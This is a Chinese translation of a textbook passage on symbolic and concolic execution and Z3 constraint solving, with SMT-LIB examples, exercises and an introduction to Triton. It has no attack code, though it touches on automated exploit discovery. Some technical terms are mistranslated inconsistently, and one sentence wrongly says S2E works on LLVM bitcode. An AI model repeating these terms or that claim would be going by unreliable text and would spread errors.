你可以通过为每个探索的路径克隆完整的系统状态来规避这个问题,但这个解决方案会极度消耗内存。此外,由于外部软件组件无法处理符号状态,直接与环境交互意味着需要昂贵地调用约束求解器,以计算合适的具体值,这些值可以传递给你想调用的系统或库函数。

由于静态符号执行存在这些困难,最近的研究探索了基于动态分析的替代符号执行实现。

动态符号执行(并行符号执行)

动态符号执行 (DSE) 在应用程序中运行具体输入,并保持符号状态此外具体状态,而不是完全替代它。换句话说,这种方法使用具体状态来驱动执行,同时将符号状态作为元数据保持,就像污点分析引擎保持污点信息一样。因此,动态符号执行也被称为并行符号执行,即“具体符号执行”(con-crete symbolic execution)。

与传统的静态符号执行不同,后者并行探索多个程序路径,并行符号执行一次仅运行一个路径,这由具体输入决定。为了探索不同的路径,并行符号执行“翻转”路径约束,就像你在列表 12-1 的示例中看到的那样,然后使用约束求解器计算出能够导致另一个分支的具体输入。然后你可以使用这些具体输入开始新的并行符号执行,探索替代路径。

并行符号执行有许多优点。它的可扩展性更强,因为你不需要维护多个并行执行状态。你还可以通过简单地具体执行这些外部交互来解决静态符号执行在外部交互中的问题。这不会导致一致性问题,因为并行符号执行不会并行运行不同的路径。由于并行符号执行仅符号化程序状态中“有趣”的部分,如用户输入,它计算的约束通常涉及的变量比传统的静态符号执行引擎计算的要少,从而使得约束更容易且更快速地求解。

主要的缺点是通过混合执行(concolic execution)实现的代码覆盖率依赖于初始的具体输入。由于混合执行一次只“翻转”少量分支约束,如果这些路径与初始路径之间有许多翻转,那么到达有趣的路径可能需要很长时间。仅对程序的一部分进行符号执行也不那么简单,尽管可以通过在运行时动态启用或禁用符号引擎来实现。

在线 vs 离线符号执行

另一个重要的考虑因素是符号执行引擎是否会并行探索多个路径。并行探索多个程序路径的符号执行引擎被称为在线(online),而一次只探索一个路径的引擎被称为离线(offline)。例如,经典的静态符号执行是在线的,因为它会在每个分支处分叉出一个新的符号执行实例,并并行探索两个方向。相比之下,混合执行通常是离线的,一次只探索单个具体执行路径。然而,也存在离线符号执行和在线混合执行的实现。

在线符号执行的优势在于它不需要多次执行相同的指令。相比之下,离线实现通常会多次分析相同的代码块,必须从头开始运行整个程序来处理每个程序路径。从这个意义上说,在线符号实现更高效,但同时要并行跟踪所有这些状态可能会消耗大量内存,而离线符号执行则不必担心这个问题。

在线符号执行实现试图通过将相同的程序状态部分合并在一起,从而将内存开销保持在最低限度,仅在它们分歧时才会分开。这种优化被称为写时复制(copy on write),因为它在写操作导致状态分歧时会复制合并的状态,为执行写操作的路径创建一个新的私有状态副本。

符号状态

接下来的考虑因素是确定程序状态的哪些部分是符号化的,哪些部分是具体的,以及如何处理符号化的内存访问。许多符号执行和混合执行引擎提供了忽略某些寄存器和内存位置符号状态的选项。通过仅跟踪选定状态的符号信息,同时保持其余状态为具体状态,可以减少状态的大小及路径约束和符号表达式的复杂度。

这种方法在内存使用上更高效,速度也更快,因为约束更容易解决。权衡之处在于,你必须选择哪些状态进行符号化,哪些状态仅保持具体化,这一决策并非总是简单的。如果选择错误,你的符号执行工具可能会报告出乎意料的结果。

另一个关于符号执行引擎如何保持符号状态的重要方面是它们如何表示符号内存访问。像其他变量一样,指针可以是符号的,意味着它们的值不是具体的,而是部分未确定的。当内存加载或存储使用符号地址时,这就引入了一个难题。例如,如果使用符号索引向数组写入一个值,应该如何更新符号状态?我们来讨论几种解决这个问题的方法。

完全符号内存 基于完全符号内存的解决方案试图模拟内存加载或存储操作的所有可能结果。实现这一点的一种方法是将状态分叉成多个副本,每个副本反映内存操作的一个可能结果。例如,假设我们正在使用符号索引ϕ[i]从数组a中读取数据,并且约束条件是ϕ[i] < 5。状态分叉方法将把状态分叉成五个副本:一个表示ϕ[i] = 0(此时读取a[0]),另一个表示ϕ[i] = 1,依此类推。

实现相同效果的另一种方法是使用一些约束求解器支持的if-then-else表达式。这些表达式类似于编程语言中使用的 if-then-else 条件语句。在这种方法中,相同的数组读取被建模为一个条件约束,如果ϕ[i] = i,则该约束求值为符号表达式a[i]。

虽然完全符号内存解决方案能准确地模拟程序行为,但如果任何内存访问使用无界地址,它们会遭遇状态爆炸或极其复杂的约束。这些问题在二进制级符号执行中比源代码级符号执行更为常见,因为在二进制中边界信息并不容易获得。

地址具体化 为了避免完全符号内存的状态爆炸,可以用具体地址替换无界符号地址。在混合符号执行中,符号执行引擎可以简单地使用真实的具体地址。在静态符号执行中,符号执行引擎需要使用启发式方法来决定合适的具体地址。这种方法的优点是大大减少了状态空间和约束的复杂性,但缺点是它没有完全捕捉所有可能的程序行为,这可能导致符号执行引擎错过一些可能的结果。

在实践中,许多符号执行引擎会采用这些解决方案的组合。例如,当访问范围被约束限制在足够小的范围内时,它们可能会符号化建模内存访问,同时具体化无界访问。

路径覆盖

最后,你需要了解符号分析所探索的程序路径。经典的符号执行会探索所有程序路径,每当遇到分支时就会分叉出一个新的符号状态。由于程序中分支的数量会指数级地增加,路径的数量也会急剧增长,这种方法无法扩展;这就是著名的路径爆炸问题。事实上,如果存在无限循环或递归调用,路径的数量可能是无限的。对于复杂程序,你需要一种不同的方法来使符号执行更具实践性。

SSE 的另一种替代方法是使用启发式方法来决定探索哪些路径。例如,在自动化漏洞发现工具中,你可能会集中分析索引数组的循环,因为这些循环相对更可能包含像缓冲区溢出这样的漏洞。

另一种常见的启发式方法是深度优先搜索(DFS),它在转到另一路径之前,首先完整探索一个程序路径,假设深度嵌套的代码比表面上的代码更“有趣”。广度优先搜索(BFS)则相反,它并行探索所有路径,但需要更长时间才能达到深度嵌套的代码。使用哪种启发式方法取决于你的符号执行工具的目标,找到合适的启发式方法可能是一个重大挑战。

并发执行每次只探索一条路径,路径由具体输入驱动。但你也可以将其与启发式路径探索方法或甚至是探索所有路径的方法结合使用。对于并发执行,探索多条路径的最简单方法是反复运行应用程序,每次使用通过“翻转”上次运行中的分支约束发现的新输入。一个更复杂的方法是拍摄程序状态的快照,这样在完成一个路径的探索后,你可以恢复到先前的快照并从那里探索另一条路径。

总结来说,符号执行有许多参数可以调整,以平衡分析的性能和局限性。最佳配置将取决于你的目标,不同的符号执行引擎会做出不同的配置选择。

例如,Triton(你将在第十三章中再次看到)和 angr^(1)是支持应用层 SSE 和并发执行的二进制级符号执行引擎。S2E(2)也在二进制上运行,但采用基于系统虚拟机的方法,不仅可以对应用程序,还可以对虚拟机中的内核、库和驱动程序应用符号执行。相比之下,KLEE(3)对 LLVM 位码进行经典的在线 SSE,而不是直接对二进制进行,支持多种搜索启发式方法来优化路径覆盖率。还有更高级别的符号执行引擎,直接在 C、Java 或 Python 代码上运行。

既然你已经熟悉了各种符号执行技术的工作原理,那么我们来讨论一些常见的优化方法,这些方法可以帮助你提高符号执行工具的可扩展性。

12.1.3 提高符号执行的可扩展性

如你所见,符号执行受到性能和内存开销两个主要因素的影响,这些因素削弱了其可扩展性。这些因素包括覆盖所有可能程序路径的不可行性,以及求解覆盖数百甚至数千个符号变量的巨大约束的计算复杂性。

你已经看到了一些减少路径爆炸问题影响的方法,例如通过启发式选择要执行的路径、合并符号状态以减少内存使用,以及使用程序快照来避免对相同指令的重复分析。接下来,我将讨论几种最小化约束求解成本的方法。

简化约束条件

由于约束求解是符号执行中计算开销最大的一部分,因此尽量简化约束条件,并将约束求解器的使用保持在最低限度是有意义的。首先,我们来看一些简化路径约束和符号表达式的方法。通过简化这些公式,你可以减少约束求解器的任务复杂度,从而加速符号执行。当然,诀窍是做到这一点时不会显著影响分析的准确性。

限制符号变量的数量 简化约束的一个明显方法是减少符号变量的数量,并使程序的其他状态保持具体化。然而,你不能随便将状态具体化,因为如果你具体化了错误的状态,你的符号执行工具可能会错过解决你正在尝试解决的问题的潜在方案。

例如,如果你使用符号执行来查找可以利用程序的网络输入,但你将所有网络输入具体化,那么你的工具只会考虑那些具体的输入,因此无法找到漏洞。另一方面,如果你将从网络接收到的每一个字节都符号化,那么约束条件和符号表达式可能会变得过于复杂,无法在合理的时间内解决。关键是只符号化那些有可能在漏洞利用中起作用的输入部分。

对于符号执行工具来说,一种实现这一点的方法是使用预处理步骤,通过污点分析和模糊测试来查找会导致危险后果的输入,比如损坏的返回地址,然后使用符号执行来查找是否有输入会破坏该返回地址,使其允许攻击利用。通过这种方式,你可以使用像 DTA 和模糊测试这样的相对便宜的技术来判断是否存在潜在的漏洞,并仅在可能的漏洞程序路径中使用符号执行来找出如何在实践中利用这个漏洞。这种方法不仅可以让你将符号执行集中在最有潜力的路径上,还可以通过只对污点分析显示相关的输入进行符号化,从而减少约束的复杂性。

限制符号操作的数量 另一种简化约束的方法是仅符号执行那些相关的指令。例如,如果你正在尝试通过rax寄存器利用间接调用,那么你只关心那些对rax值有贡献的指令。因此,你可以首先计算一个向后切片,找出贡献给rax的指令,然后符号模拟切片中的指令。或者,一些符号执行引擎(包括我在第十三章中使用的 Triton)提供了仅符号执行操作符号数据或符号化表达式的指令的可能性。

简化符号内存 正如我之前解释的那样,如果存在任何不受限的符号内存访问,完整的符号内存可能会导致状态数或约束大小的爆炸。你可以通过将其具体化来减少此类内存访问对约束复杂度的影响。或者,像 Triton 这样的符号执行引擎允许你对内存访问做出简化假设,例如它们只能访问按字对齐的地址。

避免约束求解器

避免使用约束求解器是绕过约束求解复杂性最有效的方法。虽然这听起来可能像是一个无用的说法,但实际上有一些方法可以在你的符号执行工具中限制对约束求解的需求。

首先,你可以使用我讨论的预处理步骤来查找潜在的有趣路径和输入,并使用符号执行来探索这些路径,并找出这些输入影响的指令。这可以帮助你避免对无趣路径或指令进行不必要的约束求解器调用。符号执行引擎和约束求解器也可能缓存之前评估过的(子)公式的结果,从而避免再次求解相同的公式。

因为约束求解是符号执行的关键部分,让我们更详细地探讨它是如何工作的。

12.2 使用 Z3 求解约束

符号执行通过符号公式描述程序的操作,并使用约束求解器自动求解这些公式并回答关于程序的问题。为了理解符号执行及其局限性,您需要熟悉约束求解的过程。

在本节中,我将解释使用一种名为Z3的流行约束求解器进行约束求解的最重要方面。Z3 由微软研究院开发,并且可以在* github.com/Z3Prover/z3/* 上免费获得。

Z3 是一种所谓的满足性模理论(SMT)求解器,这意味着它专门用于解决关于特定数学理论(如整数算术理论)公式的满足性问题。^(4) 这与纯粹的布尔满足性(SAT)问题的求解器有所不同,后者没有内建的理论特定操作知识,如整数操作(例如+或<)。Z3 内建了如何求解涉及整数操作和位向量(二进制数据表示)等操作的公式的知识。这种特定领域的知识在解决由符号执行产生的公式时非常有用,因为这些公式正是涉及这些操作。

请注意,像 Z3 这样的约束求解器与符号执行引擎是分开的程序,其目的不仅仅限于符号执行。一些符号执行引擎甚至允许你根据个人喜好插入多个不同的约束求解器。Z3 是一个受欢迎的选择,因为它的特性非常适合符号执行,并且提供了易于使用的 C/C++和 Python 等语言的 API。它还附带一个命令行工具,你可以使用它来求解公式,稍后你将看到这一点。

同时也需要认识到,Z3 并不是一种万能的灵丹妙药。尽管 Z3 和其他类似的求解器在解决某些可判定公式类别时非常有用,但它们可能无法解决这些类别之外的公式。即便是支持的公式类别中的公式,也可能需要较长时间来解决,尤其是当公式包含大量变量时。这就是为什么将约束保持尽可能简单非常重要的原因。

我将在这里仅介绍 Z3 的最重要特性,但如果您有兴趣,可以查阅网上更为全面的教程。^(5)

12.2.1 证明指令的可达性

让我们首先使用 Z3 命令行工具,该工具已经预安装在虚拟机上,来表示并求解一组简单的公式。使用z3 -in命令启动命令行工具以从标准输入读取,或者使用z3 file来从脚本文件读取。

Z3 的输入格式是SMT-LIB 2.0的扩展,这是一个用于 SMT 求解器的语言标准。在接下来的示例中,你将学习 Z3 语言支持的最重要命令;这些命令将帮助你调试你的 symbex 工具,因为你可以使用它们来理解你的 symbex 工具传递给约束求解器的输入。有关特定命令的更多详细信息,输入(help)z3工具中。

在内部,Z3 维护了你提供的公式和声明的堆栈。在 Z3 术语中,公式称为断言。Z3 允许你检查你提供的断言集是否是可满足的,这意味着有一种方法可以使所有断言同时成立。

让我们通过回到示例 12-1 中的伪代码来澄清这一点。以下示例将使用 Z3 证明对函数baz的调用是可达的。示例 12-2 重复了示例代码,并标记了对baz的调用 ➊。

示例 12-2:伪代码示例,演示约束求解

x = int(argv[0])
y = int(argv[1])

z = x + y
if(x >= 5)
    foo(x, y, z)
    y = y + z
    if(y < x)
        ➊baz(x, y, z)
    else
         qux(x, y, z)
else
    bar(x, y, z)

示例 12-3 展示了如何模拟符号表达式和路径约束,类似于 symbex 引擎的做法,以证明baz是可达的。为了简化,我假设对foo的调用没有副作用,因此在模拟通往baz的路径时可以忽略foo中的内容。

示例 12-3:使用 Z3 证明 baz 是可达的

   $ z3 -in
➊ (declare-const x Int)
   (declare-const y Int)
   (declare-const z Int)
➋ (declare-const y2 Int)
➌ (assert (= z (+ x y)))
➍ (assert (>= x   5))
➎ (assert (= y2   (+ y z)))
➏ (assert (< y2   x))
➐ (check-sat)
   sat
➑ (get-model)
   (model
     (define-fun y () Int
       (- 1))
     (define-fun x () Int
       5)
     (define-fun y2 () Int
       3)
     (define-fun z () Int
       4)
   )

在示例 12-3 中,有两点立即引人注目:所有命令都被括号括起来,且所有操作都采用波兰表示法,先是操作符,后是操作数(+ x y 而不是 x + y)。

声明变量

示例 12-3 首先声明了路径上出现的变量(xyz)到baz ➊。从 Z3 的角度来看,这些被模拟为常量而非变量。要声明常量,你需要使用declare-const命令,指定常量的名称和类型。在这种情况下,所有常量的类型都是Int

xyz建模为常量的原因是执行程序路径和在 Z3 中建模程序路径之间存在根本的区别。当你执行程序时,所有操作都是逐个执行的,但在 Z3 中建模程序路径时,你将这些相同的操作表示为一个方程组,要求同时求解。当 Z3 求解这些公式时,它会为xyz分配具体值,实际上是找到合适的常量来满足这些公式。

除了Int,Z3 还支持其他常见数据类型,如Real(浮动点数)和Bool,以及更复杂的类型,如Array

IntReal都支持任意精度,这与机器代码操作的固定宽度数字不同。因此,Z3 还提供了特殊的位向量类型,我将在第 12.2.5 节中讲解。

静态单一赋值形式(Static Single Assignment Form)

Z3 以不考虑程序路径操作顺序的方式同步求解所有公式,这一点有着另一个重要的含义。假设在同一程序路径中,某个变量,比如y,被多次赋值,一次为y = 5,之后再为y = 10。当求解时,Z3 会看到两个冲突的约束,声明y必须同时等于 5 和 10,这显然是不可能的。

许多符号执行引擎通过以静态单一赋值(SSA)形式发出符号表达式来解决这个问题,这要求每个变量只能被赋值一次。这意味着在y的第二次赋值时,它会被拆分为两个版本,y[1]和y[2],从而消除了任何歧义,并解决了 Z3 视角中的相互矛盾的约束条件。这正是为什么在列表 12-3 中会额外声明一个名为y2的常量 ➋:在列表 12-2 中,变量y在到达baz的路径上被赋值两次,因此必须通过 SSA 技巧将其拆分。你还可以在图 12-1 中观察到这一点,那里可以看到y被映射到一个新的符号表达式ϕ[4],表示y的新版本。

添加约束条件

在声明所有常量之后,可以使用assert命令将约束公式(断言)添加到 Z3 的公式堆栈中。如我所提到的,您需要使用波兰表示法来表达公式,其中操作符位于操作数之前。Z3 支持常见的数学运算符,如+、−、=、<等,并且具有其通常的含义。正如你在后面的例子中看到的,Z3 还支持逻辑运算符和处理位向量的运算符。

列表 12-3 中的第一个断言是关于z的符号表达式,声明它必须等于x + y ➌,模拟列表 12-2 中的伪代码程序z = x + y。接下来,有一个断言添加了分支约束x >= 5 ➍(用于模拟分支if(x >= 5)),然后是一个符号表达式y2 = y + z ➎。请注意,y2依赖于从用户输入分配的原始y,这清楚地显示了需要使用 SSA 形式来消除断言的歧义并防止循环依赖。最后的断言添加了第二个分支约束y2 < x ➏。注意,我省略了对foo的调用建模,因为它没有副作用,因此不会影响baz的可达性。

检查可满足性并获取模型

在添加了所有建模baz路径所需的断言后,可以使用 Z3 的check-sat命令➐检查断言堆栈的可满足性。在这种情况下,check-sat打印sat,表示断言系统是可满足的。这告诉你,baz可以沿着建模的程序路径到达。如果断言系统不可满足,check-sat则会打印unsat

一旦你知道断言是可满足的,你可以向 Z3 请求一个模型:一个满足所有断言的常量的具体赋值。要请求一个模型,你使用命令get-model ➑。返回的模型通过函数(使用命令define-fun定义)来表达每个常量的赋值,这些函数返回一个常量值。这是因为在 Z3 中,常量实际上就是不带参数的函数,命令declare-const只是语法糖,而get-model会省略它。例如,模型中列表 12-3 的这一行define-fun y () Int (-1)定义了一个名为y的函数,它不带参数,并返回一个值为-1Int。这意味着,在这个模型中,常量y的值是-1

如你所见,在列表 12-3 的情况下,Z3 找到了x = 5y = -1z = 4(因为z = x + y = 5 - 1),和y2 = 3(因为y2 = y + z = -1 + 4)的解。这意味着,如果你在列表 12-2 中的伪代码程序中使用输入值x = 5y = -1,你将到达对baz的调用。请注意,通常有多个可能的模型,get-model返回的具体模型是随机选择的。

12.2.2 证明指令的不可达性

请注意,在列表 12-3 的模型中,赋给y的值是负数。实际上,如果xy是有符号的,baz是可以到达的,但如果它们是无符号的,则不能到达。让我们来证明这一点,这样你就可以看到一个不可满足的断言系统示例。列表 12-4 再次模拟了通往baz的路径,这次增加了限制条件:xy必须都为非负值。

列表 12-4:证明如果输入是无符号的,baz 是不可到达的 *

   $ z3 -in
   (declare-const x Int)
   (declare-const y Int)
   (declare-const z Int)
   (declare-const y2 Int)
➊ (assert (>= x 0))
➋ (assert (>= y 0))
   (assert (= z (+ x y)))
   (assert (>= x 5))
   (assert (= y2 (+ y z)))
   (assert (< y2 x))
➌ (check-sat)
   unsat

如你所见,列表 12-4 与列表 12-3 完全相同,唯一的区别是添加了断言x >= 0 ➊和y >= 0 ➋。这次,check-sat返回unsat ➌,证明了如果xy是无符号的,baz是无法到达的。对于一个不可满足的问题,你无法得到模型,因为不存在这样的模型。

12.2.3 证明公式的有效性

你还可以使用 Z3 证明一组断言不仅是可满足的,而且是有效的,这意味着无论你将什么具体值代入,它始终为真。证明一个公式或一组公式是有效的,相当于证明其否定是不可满足的,你已经知道如何使用 Z3 做到这一点。如果否定是可满足的,那就意味着这组公式不是有效的,你可以向 Z3 请求一个模型作为反例。

让我们用这个思路来证明双向引理的有效性,这是命题逻辑中一个著名的有效公式。这也让你可以看到 Z3 的命题逻辑操作符的实际应用,以及 Z3 的布尔数据类型Bool

双向引理声明为 ((pq) ∧ (rs) ∧ (p ∨ ¬ s)) ├ (q ∨ ¬ r)。示例 12-5 在 Z3 中建模该引理并证明其有效性。

示例 12-5:使用 Z3 证明双向引理

   $ z3 -in
➊ (declare-const p Bool)
   (declare-const q Bool)
   (declare-const r Bool)
   (declare-const s Bool)
➋ (assert (=> (and (and (=> p q) (=> r s)) (or p (not s))) (or q (not r))))
➌ (check-sat)
   sat
➍ (get-model)
   (model
     (define-fun r () Bool
      true)
   )
➎ (reset)
➏ (declare-const p Bool)
   (declare-const q Bool)
   (declare-const r Bool)
   (declare-const s Bool)
➐ (assert (not (=> (and (and (=> p q) (=> r s)) (or p (not s))) (or q (not r)))))
➑ (check-sat)
   unsat

示例 12-5 声明了四个名为 pqrsBool 常量 ➊,每个常量对应双向引理中的一个变量。然后,它使用 Z3 的逻辑运算符断言双向引理 ➋。正如你所看到的,Z3 支持所有常见的逻辑运算符,包括 and (∧)、or (∨)、xor (⊕)、not (¬),以及逻辑蕴含运算符 => (→)。Z3 使用等号符号 (=) 来表示双向蕴含 (↔)。此外,Z3 还支持一个名为 iteif-then-else 运算符,其语法为 ite 条件 值-为-真 值-为-假。我在示例中将“蕴含”符号 ⊢ 表示为蕴含 (=>) 运算符。

首先,让我们证明双向引理是可满足的。你可以轻松地通过 check-sat ➌ 来确认这一点,并使用 get-model 获取一个模型 ➍。在这个例子中,模型只将 true 赋给 r,因为这足以使断言为真,而不管 pqs 的值是什么。这告诉你双向引理是可满足的,但并不能证明它是有效的。

为了证明引理是有效的,你需要重置 Z3 的断言栈 ➎,声明与之前相同的常量 ➏,然后断言双向引理的否定 ➐。通过使用 check-sat,你可以确认引理的否定是不可满足的 ➑,从而证明双向引理是有效的。

除了命题逻辑外,Z3 还可以解决 有效命题 公式,它是谓词逻辑中的一个可判定子集。在这里我不会详细讨论有效命题公式,因为在本书的符号执行目的中,你不需要使用谓词逻辑。

12.2.4 简化表达式

Z3 也可以简化表达式,如在示例 12-6 中所示。

示例 12-6:使用 Z3 简化公式

   $ z3 -in
➊ (declare-const x Int)
   (declare-const y Int)
➋ (simplify (+ (* 3 x) (* 2 y) 5 x y))
   (+ 5 (* 4 x) (* 3 y))

这个例子声明了两个整数,分别为 xy ➊,然后调用 Z3 的 simplify 命令来简化公式 3x + 2y + 5 + x + y ➋。Z3 将其简化为 5 + 4x + 3y。请注意,在这个例子中,我利用了 Z3 的能力,使其能够对 + 运算符使用两个以上的操作数,并一次性将它们相加。在像这样的简单示例中,Z3 的 simplify 命令效果很好,但在更复杂的情况下,可能效果不佳。Z3 的简化主要是为了使像符号执行引擎这样的程序能够自动处理公式,而不是为了提高人类的可读性。

12.2.5 使用位向量建模机器码的约束

到目前为止,所有示例都使用了 Z3 的任意精度 Int 数据类型。如果你使用任意精度数据类型来建模二进制数,结果可能并不能准确反映现实情况,因为二进制操作是在固定宽度的整数上进行的,这些整数的精度有限。这就是为什么 Z3 还提供了 位向量,它们是固定宽度的整数,特别适合用于符号执行。

要操作位向量,你需要使用专门的运算符,如 bvaddbvsubbvmul,而不是通常的整数运算符如 +、− 和 ×。表 12-1 显示了最常见的位向量运算符的概览。如果你检查像 Triton 这样的符号执行引擎传递给约束求解器的约束和符号表达式,你会看到很多这些运算符。此外,了解这些运算符在构建你自己的符号执行工具时非常有用,正如你将在第十三章中学习的那样。让我们讨论如何在实践中使用表 12-1 中列出的运算符。

Z3 允许你创建任意位宽的位向量。你可以通过多种方式实现这一点,如表 12-1 的第一部分 ➊ 所示。首先,你可以使用符号 #b1101 创建一个 4 位宽的位向量常量,包含位值 1101。类似地,符号 #xda 创建一个 8 位宽的位向量,包含值 0xda

正如你所看到的,对于二进制或十六进制常量,Z3 会自动推断出位向量需要的最小大小。为了声明十进制常量,你需要明确声明位向量的值和位宽。例如,符号 (_ bv10 32) 创建了一个 32 位宽的位向量,包含值 10。你还可以使用符号 (declare-const x (_ BitVec 32)) 声明一个未确定值的位向量常量,其中 x 是常量的名称,32 是它的位宽。

表 12-1: 常见 Z3 位向量运算符

操作 描述 示例
位向量创建
#b<value> 二进制位向量常量 #b1101        ; 1101
#x<value> 十六进制位向量常量 #xda           ; 0xda
(_ bv<value> <width>) 十进制位向量常量 (_ bv10 32) ; 10 (32 位宽)
(_ BitVec <width>) <width> 位位向量类型 (declare-const x (_ BitVec 32))
算术运算符
bvadd 加法 (bvadd x #x10)          ; x + 0x10
bvsub 减法 (bvsub #x20 y)          ; 0x20 - y
bvmul 乘法 (bvmul #x2 #x3)         ; 6
bvsdiv 有符号除法 (bvsdiv x y)            ; x/y
bvudiv 无符号除法 (bvudiv y x)            ; y/x
bvsmod 有符号模运算 (bvsmod x y)            ; x % y
bvneg 二补码 (bvneg #b1101)          ; 0011
bvshl 左移 (bvshl #b0011 #x1)      ; 0110
bvlshr 逻辑(无符号)右移 (bvlshr #b1000 #x1)     ; 0100
bvashr 算术(带符号)右移 (bvashr #b1000 #x1)     ; 1100
按位操作符
bvor 按位 OR (bvor #x1 #x2)              ; 3
bvand 按位 AND (bvand #xffff #x0001)       ; 1
bvxor 按位 XOR (bvxor #x3 #x5)             ; 6
bvnot 按位取反(补码) (bvnot x);                  ∼x
比较操作符
= 相等 (= x y)           ; x == y
bvult 无符号小于 (bvult x #x1a) ; x < 0x1a
bvslt 带符号小于 (bvslt x #x1a) ; x < 0x1a
bvugt 无符号大于 (bvugt x y)       ; x > y
bvsgt 带符号大于 (bvsgt x y)       ; x > y
bvule 无符号小于或等于 (bvule x #x55) ; x <= 0x55
bvsle 带符号小于或等于 (bvsle x #x55) ; x <= 0x55
bvuge 无符号大于或等于 (bvuge x y)       ; x >= y
bvsge 带符号大于或等于 (bvsge x y)       ; x >= y
按位向量连接与提取
concat 连接按位向量 (concat #x4 #x8)       ; 0x48
(_ extract <hi> <lo>) 提取从 的位 ((_ extract 3 0) #x48) ; 0x8

Z3 还支持算术按位向量操作符,镜像了 C/C++ 等语言和 x86 等指令集所支持的所有基本操作 ➋。例如,Z3 命令 (assert (= y (bvadd x #x10))) 表示按位向量 y 必须等于按位向量 x + 0x10。对于许多操作,Z3 提供了带符号和无符号的变体。例如,(bvsdiv x y) 执行带符号除法 x/y,而 (bvudiv x y) 执行无符号除法。还要注意,Z3 要求算术按位向量操作中的两个操作数具有相同的位宽。

在 表 12-1 的“示例”列中,我列出了所有 Z3 常见按位向量操作的示例。分号后是注释,显示了 Z3 操作的 C/C++ 等效或算术结果。

除了算术操作符,Z3 还实现了常见的按位操作符,如 OR(相当于 C 的 |)、AND(&)、XOR(^)和 NOT(~) ➌。它还实现了比较操作符,如 = 用于检查按位向量的相等性,bvult 用于执行无符号“小于”比较,等等 ➍。支持的比较操作符与 x86 的条件跳转指令非常相似,特别是在与 Z3 的 ite 操作符结合使用时非常有用。例如,(ite (bvsge x y) 22 44) 如果 x >= y,结果为 22,否则为 44

你还可以连接两个按位向量或提取一个按位向量的一部分 ➎。这在你需要使两个按位向量的大小一致以进行某些操作,或者你只关心按位向量的一部分时非常有用。

现在你已经熟悉了 Z3 的按位向量操作符,让我们来看一个实际示例,展示如何使用这些操作符。

12.2.6 解决一个不透明的按位向量谓词

让我们使用 Z3 来解决一个不透明谓词,看看如何在实践中使用位向量操作。不透明谓词是总是被评估为真或假的分支条件,但对逆向工程师来说并不明显。它们作为代码混淆手段,使逆向工程师更难理解代码,例如通过插入在实践中从未被执行的死代码。

在某些情况下,你可以使用像 Z3 这样的约束求解器来证明某个分支是透明地为真或假的。例如,考虑一个透明为假的分支,它利用了∀x ∈ ℤ,2 | (x + x²)这一事实。换句话说,对于任何整数xx + x²的结果对 2 取模为零。你可以利用这一点构造一个分支if((x + x*x) % 2 != 0),无论x的值为何,它都永远不会被执行,而这一点并不立刻显现出来。然后,你可以在分支的“执行”路径中插入混淆的虚假代码,误导逆向工程师。

Listing 12-7 展示了如何在 Z3 中建模这个分支并证明它永远不会被执行。

Listing 12-7: 使用 Z3 解决不透明谓词

   $ z3 -in
➊ (declare-const x (_ BitVec 64))
➋ (assert (not (= (bvsmod (bvadd (bvmul x x) x) (_ bv2 64)) (_ bv0 64))))
➌ (check-sat)
   unsat

首先,你声明一个 64 位的位向量x ➊用于分支条件。然后你断言分支条件本身 ➋,最后你通过check-sat ➌来检查它的可满足性。因为check-sat返回unsat,你知道这个分支条件永远不可能为真,因此在进行逆向工程时,你可以安全地忽略分支内部的任何代码。

如你所见,手动建模并证明像这样的简单不透明谓词是非常繁琐的。但是,通过符号执行,你可以自动解决像这样的难题。

12.3 小结

在本章中,你学习了符号执行和约束求解的原理。符号执行是一项强大的技术,但由于其不可扩展性,应谨慎使用。因此,有几种优化符号执行工具的方法,其中大多数依赖于最小化需要分析的代码量以及约束求解器的负载。在第十三章中,你将通过使用 Triton 构建实用的符号执行工具,了解如何在实践中使用符号执行。

习题

1. 跟踪符号状态

考虑以下代码:

x = int(argv[0])
y = int(argv[1])

z = x*x
w = y*y
if(z <= 1)
  if( ((z + w) % 7 == 0) && (x % 7 != 0) )
     foo(z, w)
else
  if((2**z - 1) % z != 0)
     bar(x, y, z)

  else
    z = z + w
    baz(z, y, x)
z = z*z
qux(x, y, z)

创建一棵树状图,展示每条路径上符号状态如何变化(类似于图 12-1)。语句2**z代表 2^z。

请注意,代码中的最后两条语句在每条代码路径的末尾都会执行,无论哪些分支被执行。然而,这些最后语句中z的值取决于之前执行的是哪条路径。为了在树状图中捕捉到这一行为,你有以下两种选择:

1. 为你图中的每条路径创建前两条语句的私有副本。

2. 在这些最后的语句处将所有路径合并,并使用一个条件的if-then-else表达式来建模z的符号值,该表达式依赖于执行的路径。

2. 证明可达性

使用 Z3 确定在之前练习中的列表中,哪些对 foobarbaz 的调用是可达的。使用位向量建模相关的操作和分支。

3. 查找不透明谓词

使用 Z3 检查之前列表中的任何条件语句是否为不透明谓词。如果是,它们是永远为真还是永远为假?哪些代码是不可达的,因此可以安全地从列表中删除?

第十三章:使用 Triton 进行实际符号执行

在 第十二章 中,你已经熟悉了符号执行的原理。现在,让我们使用 Triton 这个流行的开源符号执行引擎来构建真实的符号执行工具。本章展示了如何使用 Triton 构建反向切片工具、增加代码覆盖率,并自动利用漏洞。

存在一些符号执行引擎,其中只有少数能够在二进制程序上运行。最著名的二进制级符号执行引擎包括 Triton、angr^([1](footnote.xhtml#ch13fn_1)) 和 S2E^([2](footnote.xhtml#ch13fn_2))。KLEE 是另一个著名的符号执行引擎,它操作的是 LLVM 位码而非二进制代码^([3](footnote.xhtml#ch13fn_3))。我将使用 Triton,因为它能够轻松与 Intel Pin 集成,并且由于其 C++ 后端,速度稍快。其他著名的符号执行引擎包括 KLEE 和 S2E,它们操作的是 LLVM 位码而非二进制代码。

13.1 Triton 介绍

让我们开始更详细地了解 Triton 的主要特点。Triton 是一个免费的开源二进制分析库,以其符号执行引擎而闻名。它提供 C/C++ 和 Python 的 API,目前支持 x86 和 x64 指令集。你可以在 triton.quarkslab.com 下载 Triton 并查阅文档。我已在虚拟机中预安装了 Triton 版本 0.6(构建号 1364),并放在 ~/triton 目录下。

Triton 和 libdft 一样,都是实验性工具(目前还没有完全成熟的二进制级符号执行引擎)。这意味着你可能会遇到一些错误,可以在 github.com/JonathanSalwan/Triton/ 上报告这些问题。Triton 还需要为每种指令类型手动编写专用处理程序,告诉符号执行引擎该指令对符号状态的影响。因此,如果你分析的程序使用了 Triton 不支持的指令,你可能会遇到错误或不正确的结果。

我将使用 Triton 来进行实际符号执行的示例,因为它易于使用,文档相对完善,并且是用 C++ 编写的,这使得它比用像 Python 这样语言编写的引擎具有性能优势。此外,Triton 的符号执行模式基于 Intel Pin,而你已经熟悉这个工具。

